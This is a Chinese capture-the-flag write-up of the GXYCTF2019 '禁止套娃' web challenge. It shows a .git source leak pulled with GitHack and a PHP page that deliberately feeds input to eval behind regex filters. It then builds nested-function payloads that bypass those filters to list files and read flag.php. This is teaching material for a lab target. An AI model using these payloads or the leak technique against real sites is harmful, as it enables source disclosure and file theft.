[GXYCTF2019]禁止套娃

本文介绍了GXYCTF2019比赛中禁止套娃题目的一次解题经历,详细解释了如何利用.git泄露进行攻击,并通过多层正则表达式过滤,最终实现命令执行获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[GXYCTF2019]禁止套娃

刚开始不知道干嘛,就注册做题思路,扫目录,抓包,都没上面思路,后面尝试了下,.git 泄露用githack扫一下

GitHack.py http://d0f994d0-3653-4d8b-98bc-57d26a9a0bab.node3.buuoj.cn/.git/

得到index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

就是用三个正则做了过滤:
第一个:过滤了php伪协议php://data://filter://pahr://

第二个:

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {

preg_replace正则替换,\((?R)?\)表示递归执行前面的正则,这个正则就是,循环吧小写字母,()_替换为空, if判断是不是只留下了;

第三个:过滤了 /et、na、indo等一些命令执行关键字

绕过上面上个正则就可以@eval($_GET['exp']);通过这个做一个命令执行

一步一步来,先看看当前文件夹下面有啥

1、print_r(scandir(’.’));,但是这样顾虑下来还会留下’.'首页要换一个东西替换这个.

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。

子要这样组合就把这个.变成了全是小写字母和括号

返回了

Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

2、我们已经把问价名都拿到了,那我们不是只要读到倒数第二个flag.php就好了,正常是highlight_file("flag.php");这样的,但是这样就过不了第二个正则表达式,那我们就尝试读数组的第三个,第一个想到是的是next但是next不能多层嵌套,一个next只能读到第二个,那么是不是把数组倒序排列就好了

array_reverse()

语法

array_reverse(array,preserve)
参数描述
array必需。规定数组。
preserve可选。规定是否保留原始数组的键名。这个参数是 PHP 4.0.3 中新加的。可能的值:truefalse

技术细节

返回值:返回反转后的数组。
PHP 版本:4+
更新日志:在 PHP 4.0.3 中新增了 preserve 参数。

那网页我们的payload就出来了:highlight_file(next(array_reverse(scandir(pos(localeconv())))));
原文链接:

http://www.lovexyu.xyz/art.php?art_id=58 转自林某某本人博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值